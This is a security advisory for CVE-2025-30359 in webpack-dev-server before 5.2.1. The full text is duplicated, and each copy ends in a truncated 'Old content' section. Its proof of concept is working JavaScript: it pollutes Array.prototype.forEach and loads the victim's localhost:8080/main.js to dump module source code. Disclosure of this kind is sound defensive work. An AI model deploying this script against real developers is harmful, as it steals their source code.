CVE-2025-30359

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.

Summary

Source code may be stolen when you access a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
5. You can see the source code output in the document and the devtools console.

The script in the POC site is:

let moduleList
const onHandlerSet = (handler) => {
  console.log('h', handler)
  moduleList = handler.require.m
}

const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) => {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
  console.log(moduleList)
  for (const key in moduleList) {
    const p = document.createElement('p')
    const title = document.createElement('strong')
    title.textContent = key
    const code = document.createElement('code')
    code.textContent = moduleList[key].toString()
    p.append(title, ':', document.createElement('br'), code)
    document.body.appendChild(p)
  }
})
document.head.appendChild(script)

This script uses the function generated by renderRequire.

    // The require function
    function __webpack_require__(moduleId) {
        // Check if module is in cache
        var cachedModule = __webpack_module_cache__[moduleId];
        if (cachedModule !== undefined) {
            return cachedModule.exports;
        }
        // Create a new module (and put it into the cache)
        var module = __webpack_module_cache__[moduleId] = {
            // no module.id needed
            // no module.loaded needed
            exports: {}
        };
        // Execute the module function
        var execOptions = {
            id: moduleId,
            module: module,
            factory: __webpack_modules__[moduleId],
            require: __webpack_require__
        };
        __webpack_require__.i.forEach(function(handler) {
            handler(execOptions);
        });
        module = execOptions.module;
        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
        // Return the exports of the module
        return module.exports;
    }

Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__. It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

<details> <summary>Old content</summary>

Summary

Source code may be stolen when you use output.iife: false and access a malicious web site.

Details

When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__). Because the request for…

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.

Summary

Source code may be stolen when you access a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
5. You can see the source code output in the document and the devtools console.

The script in the POC site is:

let moduleList
const onHandlerSet = (handler) => {
  console.log('h', handler)
  moduleList = handler.require.m
}

const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) => {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
  console.log(moduleList)
  for (const key in moduleList) {
    const p = document.createElement('p')
    const title = document.createElement('strong')
    title.textContent = key
    const code = document.createElement('code')
    code.textContent = moduleList[key].toString()
    p.append(title, ':', document.createElement('br'), code)
    document.body.appendChild(p)
  }
})
document.head.appendChild(script)

This script uses the function generated by renderRequire.

    // The require function
    function __webpack_require__(moduleId) {
        // Check if module is in cache
        var cachedModule = __webpack_module_cache__[moduleId];
        if (cachedModule !== undefined) {
            return cachedModule.exports;
        }
        // Create a new module (and put it into the cache)
        var module = __webpack_module_cache__[moduleId] = {
            // no module.id needed
            // no module.loaded needed
            exports: {}
        };
        // Execute the module function
        var execOptions = {
            id: moduleId,
            module: module,
            factory: __webpack_modules__[moduleId],
            require: __webpack_require__
        };
        __webpack_require__.i.forEach(function(handler) {
            handler(execOptions);
        });
        module = execOptions.module;
        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
        // Return the exports of the module
        return module.exports;
    }

Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__. It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

<details> <summary>Old content</summary>

Summary

Source code may be stolen when you use output.iife: false and access a malicious web site.

Details

When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__). Because the request for…